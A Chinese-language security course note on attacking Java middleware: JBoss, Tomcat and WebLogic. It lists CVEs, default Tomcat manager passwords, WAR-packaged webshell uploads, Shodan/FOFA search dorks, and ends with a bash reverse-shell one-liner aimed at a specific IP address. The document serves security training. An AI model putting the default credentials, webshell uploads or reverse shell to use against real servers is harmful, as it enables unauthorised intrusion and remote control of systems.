中间件安全

本文内容来自蚁景网安课程。

中间件及war包介绍

概念

中间件(Middleware),也叫中介层,是一类提供系统软件和应用软件之间连接、便于软件各部件之间的沟通的软件,应用软件可以借助中间件在不同的技术架构之间共享信息与资源。中间件位于客户机服务器的操作系统之上,管理着计算资源和网络通信。

常见中间件

weblogic(7001端口)、webshare、tomcat、apache、jetty、nginx等。

war包介绍

war包是Sun提出的一种Web应用程序格式,与jar类似,是很多文件的压缩包。war包中的文件按照一定目录结构来组织。根据其根目录下包含有HTML和jsp文件,或者包含有这两种文件的目录,另外还有WEB-INF目录。通常在WEB-INF目录下含有一个web.xml文件和一个classes目录,web.xml是这个应用的配置文件,而classes目录下则包含编译好的servlet类和jsp,或者servlet所依赖的其他类(如JavaBean)

JBOSS Getshell

概念

一个基于J2EE的开放源代码的应用服务器。JBoss是一个管理EJB的容器和服务器,但JBoss核心服务不包括支持servlet/jsp的Web容器,一般与Tomcat或Jetty绑定使用。JBoss是Java EE应用服务器(就像Apache是web服务器一样),专门用来运行Java EE程序的。

历史漏洞

JMX Console未授权访问Getshell

JMX Console HtmlAdaptor Getshell(CVE-2007-1036)

JMX控制台安全验证绕过漏洞(CVE-2010-0738)

Administration Console 弱口令 Getshell

JBoss JMXInvokerServlet 反序列化漏洞 (CVE-2015-7501)

JBoss EJBInvokerServlet 反序列化漏洞

JBosS AS 6.X 反序列化漏洞 (CVE-2017-12149)

JBoss 4.x JBossMQ JMS 反序列化漏洞 (CVE-2017-7504)

AdminConsole Getshell

admin/vulhub

将jsp马添加到压缩文件,然后将压缩文件的zip后缀修改为war包上传。

webshell路径:ip:port/war包名/文件名

Tomcat漏洞

Tomcat

Tomcat安装完成后点击Manager App会弹出用户名和密码框。也可以直接访问:http://ip:port/manager/html

用户名:admin、tomcat、manager

密码:admin、123456、tomcat、manager、admin123

Tomcat传递用户密码数据的格式是:用户名:密码,进行base64加密。

webshell路径:http://ip:port/warfilename/xxx.jsp

WebLogic漏洞

WebLogic

WebLogic是美国Oracle公司出品的一个application server,确切地说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic历史漏洞

XMLDecoder反序列化

Weakpassword

SSRF

任意文件上传

主要受影响版本

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.1

Weblogic 12.2.1.2

Weblogic 12.2.1.3

Weblogic 14.1.1.0

相关资产获取

shodan fofa 钟馗之眼 等

app="BEA-WebLogic-Server"

google hacking

inurl:漏洞地址

intitle:weblogic等

漏洞扫描

Weblogicscan

漏洞利用

javaserializetools

bash -i >& /dev/tcp/139.9.198.30/1234 0>&1